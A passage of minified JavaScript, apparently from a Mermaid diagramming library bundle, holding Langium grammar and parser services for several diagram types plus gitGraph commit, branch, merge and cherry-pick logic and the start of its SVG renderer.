\\\\t]+/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"ML_COMMENT","definition":{"$type":"RegexToken","regex":"/\\\\%\\\\%[^\\\\n]*/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"NL","definition":{"$type":"RegexToken","regex":"/\\\\r?\\\\n/"},"fragment":false},{"$type":"ParserRule","name":"TreemapRow","definition":{"$type":"Group","elements":[{"$type":"Assignment","feature":"indent","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@19"},"arguments":[]},"cardinality":"?"},{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"item","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@16"},"arguments":[]}},{"$type":"RuleCall","rule":{"$ref":"#/rules@15"},"arguments":[]}]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"ClassDef","dataType":"string","definition":{"$type":"RuleCall","rule":{"$ref":"#/rules@7"},"arguments":[]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Item","returnType":{"$ref":"#/interfaces@0"},"definition":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@18"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Section","returnType":{"$ref":"#/interfaces@1"},"definition":{"$type":"Group","elements":[{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@23"},"arguments":[]}},{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]},{"$type":"Assignment","feature":"classSelector","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[]}}],"cardinality":"?"}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Leaf","returnType":{"$ref":"#/interfaces@2"},"definition":{"$type":"Group","elements":[{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@23"},"arguments":[]}},{"$type":"RuleCall","rule":{"$ref":"#/rules@19"},"arguments":[],"cardinality":"?"},{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@9"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@10"},"arguments":[]}]},{"$type":"RuleCall","rule":{"$ref":"#/rules@19"},"arguments":[],"cardinality":"?"},{"$type":"Assignment","feature":"value","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@22"},"arguments":[]}},{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]},{"$type":"Assignment","feature":"classSelector","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[]}}],"cardinality":"?"}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"INDENTATION","definition":{"$type":"RegexToken","regex":"/[ \\\\t]{1,}/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ID2","definition":{"$type":"RegexToken","regex":"/[a-zA-Z_][a-zA-Z0-9_]*/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NUMBER2","definition":{"$type":"RegexToken","regex":"/[0-9_\\\\.\\\\,]+/"},"fragment":false,"hidden":false},{"$type":"ParserRule","name":"MyNumber","dataType":"number","definition":{"$type":"RuleCall","rule":{"$ref":"#/rules@21"},"arguments":[]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"STRING2","definition":{"$type":"RegexToken","regex":"/\\"[^\\"]*\\"|'[^']*'/"},"fragment":false,"hidden":false}],"interfaces":[{"$type":"Interface","name":"Item","attributes":[{"$type":"TypeAttribute","name":"name","type":{"$type":"SimpleType","primitiveType":"string"},"isOptional":false},{"$type":"TypeAttribute","name":"classSelector","isOptional":true,"type":{"$type":"SimpleType","primitiveType":"string"}}],"superTypes":[]},{"$type":"Interface","name":"Section","superTypes":[{"$ref":"#/interfaces@0"}],"attributes":[]},{"$type":"Interface","name":"Leaf","superTypes":[{"$ref":"#/interfaces@0"}],"attributes":[{"$type":"TypeAttribute","name":"value","type":{"$type":"SimpleType","primitiveType":"number"},"isOptional":false}]},{"$type":"Interface","name":"ClassDefStatement","attributes":[{"$type":"TypeAttribute","name":"className","type":{"$type":"SimpleType","primitiveType":"string"},"isOptional":false},{"$type":"TypeAttribute","name":"styleText","type":{"$type":"SimpleType","primitiveType":"string"},"isOptional":false}],"superTypes":[]},{"$type":"Interface","name":"Treemap","attributes":[{"$type":"TypeAttribute","name":"TreemapRows","type":{"$type":"ArrayType","elementType":{"$type":"SimpleType","typeRef":{"$ref":"#/rules@14"}}},"isOptional":false},{"$type":"TypeAttribute","name":"title","isOptional":true,"type":{"$type":"SimpleType","primitiveType":"string"}},{"$type":"TypeAttribute","name":"accTitle","isOptional":true,"type":{"$type":"SimpleType","primitiveType":"string"}},{"$type":"TypeAttribute","name":"accDescr","isOptional":true,"type":{"$type":"SimpleType","primitiveType":"string"}}],"superTypes":[]}],"definesHiddenTokens":false,"hiddenTokens":[],"imports":[],"types":[],"usedGrammars":[],"$comment":"/**\\n * Treemap grammar for Langium\\n * Converted from mindmap grammar\\n *\\n * The ML_COMMENT and NL hidden terminals handle whitespace, comments, and newlines\\n * before the treemap keyword, allowing for empty lines and comments before the\\n * treemap declaration.\\n */"}`)),"TreemapGrammar"),Cje={languageId:"info",fileExtensions:[".mmd",".mermaid"],caseInsensitive:!1,mode:"production"},Aje={languageId:"packet",fileExtensions:[".mmd",".mermaid"],caseInsensitive:!1,mode:"production"},_je={languageId:"pie",fileExtensions:[".mmd",".mermaid"],caseInsensitive:!1,mode:"production"},Dje={languageId:"architecture",fileExtensions:[".mmd",".mermaid"],caseInsensitive:!1,mode:"production"},Lje={languageId:"gitGraph",fileExtensions:[".mmd",".mermaid"],caseInsensitive:!1,mode:"production"},Rje={languageId:"radar",fileExtensions:[".mmd",".mermaid"],caseInsensitive:!1,mode:"production"},Nje={languageId:"treemap",fileExtensions:[".mmd",".mermaid"],caseInsensitive:!1,mode:"production"},xs={AstReflection:Tt(()=>new age,"AstReflection")},ZB={Grammar:Tt(()=>xje(),"Grammar"),LanguageMetaData:Tt(()=>Cje,"LanguageMetaData"),parser:{}},JB={Grammar:Tt(()=>bje(),"Grammar"),LanguageMetaData:Tt(()=>Aje,"LanguageMetaData"),parser:{}},eF={Grammar:Tt(()=>Tje(),"Grammar"),LanguageMetaData:Tt(()=>_je,"LanguageMetaData"),parser:{}},tF={Grammar:Tt(()=>wje(),"Grammar"),LanguageMetaData:Tt(()=>Dje,"LanguageMetaData"),parser:{}},rF={Grammar:Tt(()=>kje(),"Grammar"),LanguageMetaData:Tt(()=>Lje,"LanguageMetaData"),parser:{}},nF={Grammar:Tt(()=>Eje(),"Grammar"),LanguageMetaData:Tt(()=>Rje,"LanguageMetaData"),parser:{}},iF={Grammar:Tt(()=>Sje(),"Grammar"),LanguageMetaData:Tt(()=>Nje,"LanguageMetaData"),parser:{}},Mje=/accDescr(?:[\t ]*:([^\n\r]*)|\s*{([^}]*)})/,Ije=/accTitle[\t ]*:([^\n\r]*)/,Oje=/title([\t ][^\n\r]*|)/,Pje={ACC_DESCR:Mje,ACC_TITLE:Ije,TITLE:Oje},Vf=class extends Kp{static{o(this,"AbstractMermaidValueConverter")}static{Tt(this,"AbstractMermaidValueConverter")}runConverter(t,e,r){let n=this.runCommonConverter(t,e,r);return n===void 0&&(n=this.runCustomConverter(t,e,r)),n===void 0?super.runConverter(t,e,r):n}runCommonConverter(t,e,r){let n=Pje[t.name];if(n===void 0)return;let i=n.exec(e);if(i!==null){if(i[1]!==void 0)return i[1].trim().replace(/[\t ]{2,}/gm," ");if(i[2]!==void 0)return i[2].replace(/^\s*/gm,"").replace(/\s+$/gm,"").replace(/[\t ]{2,}/gm," ").replace(/[\n\r]{2,}/gm,` +`)}}},rh=class extends Vf{static{o(this,"CommonValueConverter")}static{Tt(this,"CommonValueConverter")}runCustomConverter(t,e,r){}},Ha=class extends th{static{o(this,"AbstractMermaidTokenBuilder")}static{Tt(this,"AbstractMermaidTokenBuilder")}constructor(t){super(),this.keywords=new Set(t)}buildKeywordTokens(t,e,r){let n=super.buildKeywordTokens(t,e,r);return n.forEach(i=>{this.keywords.has(i.name)&&i.PATTERN!==void 0&&(i.PATTERN=new RegExp(i.PATTERN.toString()+"(?:(?=%%)|(?!\\S))"))}),n}},Bje=class extends Ha{static{o(this,"CommonTokenBuilder")}static{Tt(this,"CommonTokenBuilder")}}});function v6(t=Ea){let e=Hn(ka(t),xs),r=Hn(wa({shared:e}),rF,y6);return e.ServiceRegistry.register(r),{shared:e,GitGraph:r}}var Fje,y6,aF=N(()=>{"use strict";qa();vo();Fje=class extends Ha{static{o(this,"GitGraphTokenBuilder")}static{Tt(this,"GitGraphTokenBuilder")}constructor(){super(["gitGraph"])}},y6={parser:{TokenBuilder:Tt(()=>new Fje,"TokenBuilder"),ValueConverter:Tt(()=>new rh,"ValueConverter")}};o(v6,"createGitGraphServices");Tt(v6,"createGitGraphServices")});function b6(t=Ea){let e=Hn(ka(t),xs),r=Hn(wa({shared:e}),ZB,x6);return e.ServiceRegistry.register(r),{shared:e,Info:r}}var $je,x6,sF=N(()=>{"use strict";qa();vo();$je=class extends Ha{static{o(this,"InfoTokenBuilder")}static{Tt(this,"InfoTokenBuilder")}constructor(){super(["info","showInfo"])}},x6={parser:{TokenBuilder:Tt(()=>new $je,"TokenBuilder"),ValueConverter:Tt(()=>new rh,"ValueConverter")}};o(b6,"createInfoServices");Tt(b6,"createInfoServices")});function w6(t=Ea){let e=Hn(ka(t),xs),r=Hn(wa({shared:e}),JB,T6);return e.ServiceRegistry.register(r),{shared:e,Packet:r}}var zje,T6,oF=N(()=>{"use strict";qa();vo();zje=class extends Ha{static{o(this,"PacketTokenBuilder")}static{Tt(this,"PacketTokenBuilder")}constructor(){super(["packet"])}},T6={parser:{TokenBuilder:Tt(()=>new zje,"TokenBuilder"),ValueConverter:Tt(()=>new rh,"ValueConverter")}};o(w6,"createPacketServices");Tt(w6,"createPacketServices")});function E6(t=Ea){let e=Hn(ka(t),xs),r=Hn(wa({shared:e}),eF,k6);return e.ServiceRegistry.register(r),{shared:e,Pie:r}}var Gje,Vje,k6,lF=N(()=>{"use strict";qa();vo();Gje=class extends Ha{static{o(this,"PieTokenBuilder")}static{Tt(this,"PieTokenBuilder")}constructor(){super(["pie","showData"])}},Vje=class extends Vf{static{o(this,"PieValueConverter")}static{Tt(this,"PieValueConverter")}runCustomConverter(t,e,r){if(t.name==="PIE_SECTION_LABEL")return e.replace(/"/g,"").trim()}},k6={parser:{TokenBuilder:Tt(()=>new Gje,"TokenBuilder"),ValueConverter:Tt(()=>new Vje,"ValueConverter")}};o(E6,"createPieServices");Tt(E6,"createPieServices")});function C6(t=Ea){let e=Hn(ka(t),xs),r=Hn(wa({shared:e}),tF,S6);return e.ServiceRegistry.register(r),{shared:e,Architecture:r}}var Uje,Hje,S6,cF=N(()=>{"use strict";qa();vo();Uje=class extends Ha{static{o(this,"ArchitectureTokenBuilder")}static{Tt(this,"ArchitectureTokenBuilder")}constructor(){super(["architecture"])}},Hje=class extends Vf{static{o(this,"ArchitectureValueConverter")}static{Tt(this,"ArchitectureValueConverter")}runCustomConverter(t,e,r){if(t.name==="ARCH_ICON")return e.replace(/[()]/g,"").trim();if(t.name==="ARCH_TEXT_ICON")return e.replace(/["()]/g,"");if(t.name==="ARCH_TITLE")return e.replace(/[[\]]/g,"").trim()}},S6={parser:{TokenBuilder:Tt(()=>new Uje,"TokenBuilder"),ValueConverter:Tt(()=>new Hje,"ValueConverter")}};o(C6,"createArchitectureServices");Tt(C6,"createArchitectureServices")});function _6(t=Ea){let e=Hn(ka(t),xs),r=Hn(wa({shared:e}),nF,A6);return e.ServiceRegistry.register(r),{shared:e,Radar:r}}var qje,A6,uF=N(()=>{"use strict";qa();vo();qje=class extends Ha{static{o(this,"RadarTokenBuilder")}static{Tt(this,"RadarTokenBuilder")}constructor(){super(["radar-beta"])}},A6={parser:{TokenBuilder:Tt(()=>new qje,"TokenBuilder"),ValueConverter:Tt(()=>new rh,"ValueConverter")}};o(_6,"createRadarServices");Tt(_6,"createRadarServices")});function sge(t){let e=t.validation.TreemapValidator,r=t.validation.ValidationRegistry;if(r){let n={Treemap:e.checkSingleRoot.bind(e)};r.register(n,e)}}function L6(t=Ea){let e=Hn(ka(t),xs),r=Hn(wa({shared:e}),iF,D6);return e.ServiceRegistry.register(r),sge(r),{shared:e,Treemap:r}}var Wje,Yje,Xje,jje,D6,hF=N(()=>{"use strict";qa();vo();Wje=class extends Ha{static{o(this,"TreemapTokenBuilder")}static{Tt(this,"TreemapTokenBuilder")}constructor(){super(["treemap"])}},Yje=/classDef\s+([A-Z_a-z]\w+)(?:\s+([^\n\r;]*))?;?/,Xje=class extends Vf{static{o(this,"TreemapValueConverter")}static{Tt(this,"TreemapValueConverter")}runCustomConverter(t,e,r){if(t.name==="NUMBER2")return parseFloat(e.replace(/,/g,""));if(t.name==="SEPARATOR")return e.substring(1,e.length-1);if(t.name==="STRING2")return e.substring(1,e.length-1);if(t.name==="INDENTATION")return e.length;if(t.name==="ClassDef"){if(typeof e!="string")return e;let n=Yje.exec(e);if(n)return{$type:"ClassDefStatement",className:n[1],styleText:n[2]||void 0}}}};o(sge,"registerValidationChecks");Tt(sge,"registerValidationChecks");jje=class{static{o(this,"TreemapValidator")}static{Tt(this,"TreemapValidator")}checkSingleRoot(t,e){let r;for(let n of t.TreemapRows)n.item&&(r===void 0&&n.indent===void 0?r=0:n.indent===void 0?e("error","Multiple root nodes are not allowed in a treemap.",{node:n,property:"item"}):r!==void 0&&r>=parseInt(n.indent,10)&&e("error","Multiple root nodes are not allowed in a treemap.",{node:n,property:"item"}))}},D6={parser:{TokenBuilder:Tt(()=>new Wje,"TokenBuilder"),ValueConverter:Tt(()=>new Xje,"ValueConverter")},validation:{TreemapValidator:Tt(()=>new jje,"TreemapValidator")}};o(L6,"createTreemapServices");Tt(L6,"createTreemapServices")});var oge={};dr(oge,{InfoModule:()=>x6,createInfoServices:()=>b6});var lge=N(()=>{"use strict";sF();qa()});var cge={};dr(cge,{PacketModule:()=>T6,createPacketServices:()=>w6});var uge=N(()=>{"use strict";oF();qa()});var hge={};dr(hge,{PieModule:()=>k6,createPieServices:()=>E6});var fge=N(()=>{"use strict";lF();qa()});var dge={};dr(dge,{ArchitectureModule:()=>S6,createArchitectureServices:()=>C6});var pge=N(()=>{"use strict";cF();qa()});var mge={};dr(mge,{GitGraphModule:()=>y6,createGitGraphServices:()=>v6});var gge=N(()=>{"use strict";aF();qa()});var yge={};dr(yge,{RadarModule:()=>A6,createRadarServices:()=>_6});var vge=N(()=>{"use strict";uF();qa()});var xge={};dr(xge,{TreemapModule:()=>D6,createTreemapServices:()=>L6});var bge=N(()=>{"use strict";hF();qa()});async function bs(t,e){let r=Kje[t];if(!r)throw new Error(`Unknown diagram type: ${t}`);nh[t]||await r();let i=nh[t].parse(e);if(i.lexerErrors.length>0||i.parserErrors.length>0)throw new Qje(i);return i.value}var nh,Kje,Qje,Uf=N(()=>{"use strict";aF();sF();oF();lF();cF();uF();hF();qa();nh={},Kje={info:Tt(async()=>{let{createInfoServices:t}=await Promise.resolve().then(()=>(lge(),oge)),e=t().Info.parser.LangiumParser;nh.info=e},"info"),packet:Tt(async()=>{let{createPacketServices:t}=await Promise.resolve().then(()=>(uge(),cge)),e=t().Packet.parser.LangiumParser;nh.packet=e},"packet"),pie:Tt(async()=>{let{createPieServices:t}=await Promise.resolve().then(()=>(fge(),hge)),e=t().Pie.parser.LangiumParser;nh.pie=e},"pie"),architecture:Tt(async()=>{let{createArchitectureServices:t}=await Promise.resolve().then(()=>(pge(),dge)),e=t().Architecture.parser.LangiumParser;nh.architecture=e},"architecture"),gitGraph:Tt(async()=>{let{createGitGraphServices:t}=await Promise.resolve().then(()=>(gge(),mge)),e=t().GitGraph.parser.LangiumParser;nh.gitGraph=e},"gitGraph"),radar:Tt(async()=>{let{createRadarServices:t}=await Promise.resolve().then(()=>(vge(),yge)),e=t().Radar.parser.LangiumParser;nh.radar=e},"radar"),treemap:Tt(async()=>{let{createTreemapServices:t}=await Promise.resolve().then(()=>(bge(),xge)),e=t().Treemap.parser.LangiumParser;nh.treemap=e},"treemap")};o(bs,"parse");Tt(bs,"parse");Qje=class extends Error{static{o(this,"MermaidParseError")}constructor(t){let e=t.lexerErrors.map(n=>n.message).join(` +`),r=t.parserErrors.map(n=>n.message).join(` +`);super(`Parsing failed: ${e} ${r}`),this.result=t}static{Tt(this,"MermaidParseError")}}});function nl(t,e){t.accDescr&&e.setAccDescription?.(t.accDescr),t.accTitle&&e.setAccTitle?.(t.accTitle),t.title&&e.setDiagramTitle?.(t.title)}var r0=N(()=>{"use strict";o(nl,"populateCommonDb")});var rn,R6=N(()=>{"use strict";rn={NORMAL:0,REVERSE:1,HIGHLIGHT:2,MERGE:3,CHERRY_PICK:4}});var J1,fF=N(()=>{"use strict";J1=class{constructor(e){this.init=e;this.records=this.init()}static{o(this,"ImperativeState")}reset(){this.records=this.init()}}});function dF(){return VL({length:7})}function Jje(t,e){let r=Object.create(null);return t.reduce((n,i)=>{let a=e(i);return r[a]||(r[a]=!0,n.push(i)),n},[])}function Tge(t,e,r){let n=t.indexOf(e);n===-1?t.push(r):t.splice(n,1,r)}function kge(t){let e=t.reduce((i,a)=>i.seq>a.seq?i:a,t[0]),r="";t.forEach(function(i){i===e?r+=" *":r+=" |"});let n=[r,e.id,e.seq];for(let i in Dt.records.branches)Dt.records.branches.get(i)===e.id&&n.push(i);if(X.debug(n.join(" ")),e.parents&&e.parents.length==2&&e.parents[0]&&e.parents[1]){let i=Dt.records.commits.get(e.parents[0]);Tge(t,e,i),e.parents[1]&&t.push(Dt.records.commits.get(e.parents[1]))}else{if(e.parents.length==0)return;if(e.parents[0]){let i=Dt.records.commits.get(e.parents[0]);Tge(t,e,i)}}t=Jje(t,i=>i.id),kge(t)}var Zje,n0,Dt,eKe,tKe,rKe,nKe,iKe,aKe,sKe,wge,oKe,lKe,cKe,uKe,hKe,Ege,fKe,dKe,pKe,N6,pF=N(()=>{"use strict";pt();tr();qn();gr();ci();R6();fF();La();Zje=ur.gitGraph,n0=o(()=>Vn({...Zje,...Qt().gitGraph}),"getConfig"),Dt=new J1(()=>{let t=n0(),e=t.mainBranchName,r=t.mainBranchOrder;return{mainBranchName:e,commits:new Map,head:null,branchConfig:new Map([[e,{name:e,order:r}]]),branches:new Map([[e,null]]),currBranch:e,direction:"LR",seq:0,options:{}}});o(dF,"getID");o(Jje,"uniqBy");eKe=o(function(t){Dt.records.direction=t},"setDirection"),tKe=o(function(t){X.debug("options str",t),t=t?.trim(),t=t||"{}";try{Dt.records.options=JSON.parse(t)}catch(e){X.error("error while parsing gitGraph options",e.message)}},"setOptions"),rKe=o(function(){return Dt.records.options},"getOptions"),nKe=o(function(t){let e=t.msg,r=t.id,n=t.type,i=t.tags;X.info("commit",e,r,n,i),X.debug("Entering commit:",e,r,n,i);let a=n0();r=tt.sanitizeText(r,a),e=tt.sanitizeText(e,a),i=i?.map(l=>tt.sanitizeText(l,a));let s={id:r||Dt.records.seq+"-"+dF(),message:e,seq:Dt.records.seq++,type:n??rn.NORMAL,tags:i??[],parents:Dt.records.head==null?[]:[Dt.records.head.id],branch:Dt.records.currBranch};Dt.records.head=s,X.info("main branch",a.mainBranchName),Dt.records.commits.has(s.id)&&X.warn(`Commit ID ${s.id} already exists`),Dt.records.commits.set(s.id,s),Dt.records.branches.set(Dt.records.currBranch,s.id),X.debug("in pushCommit "+s.id)},"commit"),iKe=o(function(t){let e=t.name,r=t.order;if(e=tt.sanitizeText(e,n0()),Dt.records.branches.has(e))throw new Error(`Trying to create an existing branch. (Help: Either use a new name if you want create a new branch or try using "checkout ${e}")`);Dt.records.branches.set(e,Dt.records.head!=null?Dt.records.head.id:null),Dt.records.branchConfig.set(e,{name:e,order:r}),wge(e),X.debug("in createBranch")},"branch"),aKe=o(t=>{let e=t.branch,r=t.id,n=t.type,i=t.tags,a=n0();e=tt.sanitizeText(e,a),r&&(r=tt.sanitizeText(r,a));let s=Dt.records.branches.get(Dt.records.currBranch),l=Dt.records.branches.get(e),u=s?Dt.records.commits.get(s):void 0,h=l?Dt.records.commits.get(l):void 0;if(u&&h&&u.branch===e)throw new Error(`Cannot merge branch '${e}' into itself.`);if(Dt.records.currBranch===e){let p=new Error('Incorrect usage of "merge". Cannot merge a branch to itself');throw p.hash={text:`merge ${e}`,token:`merge ${e}`,expected:["branch abc"]},p}if(u===void 0||!u){let p=new Error(`Incorrect usage of "merge". Current branch (${Dt.records.currBranch})has no commits`);throw p.hash={text:`merge ${e}`,token:`merge ${e}`,expected:["commit"]},p}if(!Dt.records.branches.has(e)){let p=new Error('Incorrect usage of "merge". Branch to be merged ('+e+") does not exist");throw p.hash={text:`merge ${e}`,token:`merge ${e}`,expected:[`branch ${e}`]},p}if(h===void 0||!h){let p=new Error('Incorrect usage of "merge". Branch to be merged ('+e+") has no commits");throw p.hash={text:`merge ${e}`,token:`merge ${e}`,expected:['"commit"']},p}if(u===h){let p=new Error('Incorrect usage of "merge". Both branches have same head');throw p.hash={text:`merge ${e}`,token:`merge ${e}`,expected:["branch abc"]},p}if(r&&Dt.records.commits.has(r)){let p=new Error('Incorrect usage of "merge". Commit with id:'+r+" already exists, use different custom id");throw p.hash={text:`merge ${e} ${r} ${n} ${i?.join(" ")}`,token:`merge ${e} ${r} ${n} ${i?.join(" ")}`,expected:[`merge ${e} ${r}_UNIQUE ${n} ${i?.join(" ")}`]},p}let f=l||"",d={id:r||`${Dt.records.seq}-${dF()}`,message:`merged branch ${e} into ${Dt.records.currBranch}`,seq:Dt.records.seq++,parents:Dt.records.head==null?[]:[Dt.records.head.id,f],branch:Dt.records.currBranch,type:rn.MERGE,customType:n,customId:!!r,tags:i??[]};Dt.records.head=d,Dt.records.commits.set(d.id,d),Dt.records.branches.set(Dt.records.currBranch,d.id),X.debug(Dt.records.branches),X.debug("in mergeBranch")},"merge"),sKe=o(function(t){let e=t.id,r=t.targetId,n=t.tags,i=t.parent;X.debug("Entering cherryPick:",e,r,n);let a=n0();if(e=tt.sanitizeText(e,a),r=tt.sanitizeText(r,a),n=n?.map(u=>tt.sanitizeText(u,a)),i=tt.sanitizeText(i,a),!e||!Dt.records.commits.has(e)){let u=new Error('Incorrect usage of "cherryPick". Source commit id should exist and provided');throw u.hash={text:`cherryPick ${e} ${r}`,token:`cherryPick ${e} ${r}`,expected:["cherry-pick abc"]},u}let s=Dt.records.commits.get(e);if(s===void 0||!s)throw new Error('Incorrect usage of "cherryPick". Source commit id should exist and provided');if(i&&!(Array.isArray(s.parents)&&s.parents.includes(i)))throw new Error("Invalid operation: The specified parent commit is not an immediate parent of the cherry-picked commit.");let l=s.branch;if(s.type===rn.MERGE&&!i)throw new Error("Incorrect usage of cherry-pick: If the source commit is a merge commit, an immediate parent commit must be specified.");if(!r||!Dt.records.commits.has(r)){if(l===Dt.records.currBranch){let d=new Error('Incorrect usage of "cherryPick". Source commit is already on current branch');throw d.hash={text:`cherryPick ${e} ${r}`,token:`cherryPick ${e} ${r}`,expected:["cherry-pick abc"]},d}let u=Dt.records.branches.get(Dt.records.currBranch);if(u===void 0||!u){let d=new Error(`Incorrect usage of "cherry-pick". Current branch (${Dt.records.currBranch})has no commits`);throw d.hash={text:`cherryPick ${e} ${r}`,token:`cherryPick ${e} ${r}`,expected:["cherry-pick abc"]},d}let h=Dt.records.commits.get(u);if(h===void 0||!h){let d=new Error(`Incorrect usage of "cherry-pick". Current branch (${Dt.records.currBranch})has no commits`);throw d.hash={text:`cherryPick ${e} ${r}`,token:`cherryPick ${e} ${r}`,expected:["cherry-pick abc"]},d}let f={id:Dt.records.seq+"-"+dF(),message:`cherry-picked ${s?.message} into ${Dt.records.currBranch}`,seq:Dt.records.seq++,parents:Dt.records.head==null?[]:[Dt.records.head.id,s.id],branch:Dt.records.currBranch,type:rn.CHERRY_PICK,tags:n?n.filter(Boolean):[`cherry-pick:${s.id}${s.type===rn.MERGE?`|parent:${i}`:""}`]};Dt.records.head=f,Dt.records.commits.set(f.id,f),Dt.records.branches.set(Dt.records.currBranch,f.id),X.debug(Dt.records.branches),X.debug("in cherryPick")}},"cherryPick"),wge=o(function(t){if(t=tt.sanitizeText(t,n0()),Dt.records.branches.has(t)){Dt.records.currBranch=t;let e=Dt.records.branches.get(Dt.records.currBranch);e===void 0||!e?Dt.records.head=null:Dt.records.head=Dt.records.commits.get(e)??null}else{let e=new Error(`Trying to checkout branch which is not yet created. (Help try using "branch ${t}")`);throw e.hash={text:`checkout ${t}`,token:`checkout ${t}`,expected:[`branch ${t}`]},e}},"checkout");o(Tge,"upsert");o(kge,"prettyPrintCommitHistory");oKe=o(function(){X.debug(Dt.records.commits);let t=Ege()[0];kge([t])},"prettyPrint"),lKe=o(function(){Dt.reset(),Sr()},"clear"),cKe=o(function(){return[...Dt.records.branchConfig.values()].map((e,r)=>e.order!==null&&e.order!==void 0?e:{...e,order:parseFloat(`0.${r}`)}).sort((e,r)=>(e.order??0)-(r.order??0)).map(({name:e})=>({name:e}))},"getBranchesAsObjArray"),uKe=o(function(){return Dt.records.branches},"getBranches"),hKe=o(function(){return Dt.records.commits},"getCommits"),Ege=o(function(){let t=[...Dt.records.commits.values()];return t.forEach(function(e){X.debug(e.id)}),t.sort((e,r)=>e.seq-r.seq),t},"getCommitsArray"),fKe=o(function(){return Dt.records.currBranch},"getCurrentBranch"),dKe=o(function(){return Dt.records.direction},"getDirection"),pKe=o(function(){return Dt.records.head},"getHead"),N6={commitType:rn,getConfig:n0,setDirection:eKe,setOptions:tKe,getOptions:rKe,commit:nKe,branch:iKe,merge:aKe,cherryPick:sKe,checkout:wge,prettyPrint:oKe,clear:lKe,getBranchesAsObjArray:cKe,getBranches:uKe,getCommits:hKe,getCommitsArray:Ege,getCurrentBranch:fKe,getDirection:dKe,getHead:pKe,setAccTitle:Rr,getAccTitle:Mr,getAccDescription:Or,setAccDescription:Ir,setDiagramTitle:$r,getDiagramTitle:Pr}});var mKe,gKe,yKe,vKe,xKe,bKe,TKe,Sge,Cge=N(()=>{"use strict";Uf();pt();r0();pF();R6();mKe=o((t,e)=>{nl(t,e),t.dir&&e.setDirection(t.dir);for(let r of t.statements)gKe(r,e)},"populate"),gKe=o((t,e)=>{let n={Commit:o(i=>e.commit(yKe(i)),"Commit"),Branch:o(i=>e.branch(vKe(i)),"Branch"),Merge:o(i=>e.merge(xKe(i)),"Merge"),Checkout:o(i=>e.checkout(bKe(i)),"Checkout"),CherryPicking:o(i=>e.cherryPick(TKe(i)),"CherryPicking")}[t.$type];n?n(t):X.error(`Unknown statement type: ${t.$type}`)},"parseStatement"),yKe=o(t=>({id:t.id,msg:t.message??"",type:t.type!==void 0?rn[t.type]:rn.NORMAL,tags:t.tags??void 0}),"parseCommit"),vKe=o(t=>({name:t.name,order:t.order??0}),"parseBranch"),xKe=o(t=>({branch:t.branch,id:t.id??"",type:t.type!==void 0?rn[t.type]:void 0,tags:t.tags??void 0}),"parseMerge"),bKe=o(t=>t.branch,"parseCheckout"),TKe=o(t=>({id:t.id,targetId:"",tags:t.tags?.length===0?void 0:t.tags,parent:t.parent}),"parseCherryPicking"),Sge={parse:o(async t=>{let e=await bs("gitGraph",t);X.debug(e),mKe(e,N6)},"parse")}});var wKe,il,qf,Wf,Jc,ih,i0,Ks,Qs,M6,h4,I6,Hf,Vr,kKe,_ge,Dge,EKe,SKe,CKe,AKe,_Ke,DKe,LKe,RKe,NKe,MKe,IKe,OKe,Age,PKe,f4,BKe,FKe,$Ke,zKe,GKe,Lge,Rge=N(()=>{"use strict";yr();Xt();pt();tr();R6();wKe=ge(),il=wKe?.gitGraph,qf=10,Wf=40,Jc=4,ih=2,i0=8,Ks=new Map,Qs=new Map,M6=30,h4=new Map,I6=[],Hf=0,Vr="LR",kKe=o(()=>{Ks.clear(),Qs.clear(),h4.clear(),Hf=0,I6=[],Vr="LR"},"clear"),_ge=o(t=>{let e=document.createElementNS("http://www.w3.org/2000/svg","text");return(typeof t=="string"?t.split(/\\n|\n|/gi):t).forEach(n=>{let i=document.createElementNS("http://www.w3.org/2000/svg","tspan");i.setAttributeNS("http://www.w3.org/XML/1998/namespace","xml:space","preserve"),i.setAttribute("dy","1em"),i.setAttribute("x","0"),i.setAttribute("class","row"),i.textContent=n.trim(),e.appendChild(i)}),e},"drawText"),Dge=o(t=>{let e,r,n;return Vr==="BT"?(r=o((i,a)=>i<=a,"comparisonFunc"),n=1/0):(r=o((i,a)=>i>=a,"comparisonFunc"),n=0),t.forEach(i=>{let a=Vr==="TB"||Vr=="BT"?Qs.get(i)?.y:Qs.get(i)?.x;a!==void 0&&r(a,n)&&(e=i,n=a)}),e},"findClosestParent"),EKe=o(t=>{let e="",r=1/0;return t.forEach(n=>{let i=Qs.get(n).y;i<=r&&(e=n,r=i)}),e||void 0},"findClosestParentBT"),SKe=o((t,e,r)=>{let n=r,i=r,a=[];t.forEach(s=>{let l=e.get(s);if(!l)throw new Error(`Commit not found for key 